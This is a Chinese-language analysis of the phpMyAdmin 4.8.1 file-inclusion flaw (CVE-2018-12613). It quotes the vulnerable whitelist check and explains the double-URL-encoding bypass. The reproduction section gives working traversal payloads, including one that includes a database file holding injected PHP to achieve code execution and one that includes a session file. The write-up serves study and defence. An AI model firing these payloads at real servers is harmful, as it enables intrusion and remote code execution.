漏洞詳情
- 范圍
phpMyAdmin 4.8.0和4.8.1 - 原理
首先在index.php 50-63行代碼
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
滿足5個條件后就會include$_REQUEST['target']
的內容
$_REQUEST['target']
不為空$_REQUEST['target']
是字符串$_REQUEST['target']
不以index開頭$_REQUEST['target']
不在$target_blacklist中
'import.php', 'export.php'Core::checkPageValidity($_REQUEST['target'])
為真
代碼在libraries\classes\Core.php 443-476行
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
$whitelist一開始未傳參過來,所以會被賦值為self::$goto_whitelist
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
如果$page在白名單中就會直接return true,但這里考慮到了可能帶參數的情況,所以有了下面的判斷
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int
查找 string 在一個 string 中首次出現的位置。基於字符數執行一個多字節安全的 strpos() 操作。 第一個字符的位置是 0,第二個字符的位置是 1,以此類推。
$_page是取出$page問號前的東西,是考慮到target有參數的情況,只要$_page在白名單中就直接return true
但還考慮了url編碼的情況,所以如果這步判斷未成功,下一步又進行url解碼
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
所以傳入二次編碼后的內容,會讓checkPageValidity()這個函數返回true,但index中實際包含的內容卻不是白名單中的文件
例如傳入
?target=db_datadict.php%253f
由於服務器會自動解碼一次,所以在checkPageValidity()中,$page的值一開始會是db_datadict.php%3f
,又一次url解碼后變成了db_datadict.php?
,這次便符合了?前內容在白名單的要求,函數返回true
但在index.php中$_REQUEST['target']仍然是db_datadict.php%3f
,而且會被include,通過目錄穿越,就可造成任意文件包含
漏洞復現
phpMyAdmin-4.8.1-all-languages.zip
官網可下4.8.1版本
任意文件包含
通過目錄穿越包含任意文件
?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini
任意代碼執行
- 包含數據庫文件
先執行SQL語句查詢一下數據庫路徑
show global variables like "%datadir%";
向數據庫寫入php代碼
CREATE DATABASE rce;
use rce;
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");
然后包含該數據庫文件
?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD
- 包函session文件
session路徑的視環境而定
?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_imnnv91q886sfboa2sqos02b7njvho24
參考:
phpmyadmin 4.8.1任意文件包含
phpmyadmin4.8.1遠程文件包含漏洞(CVE-2018-12613)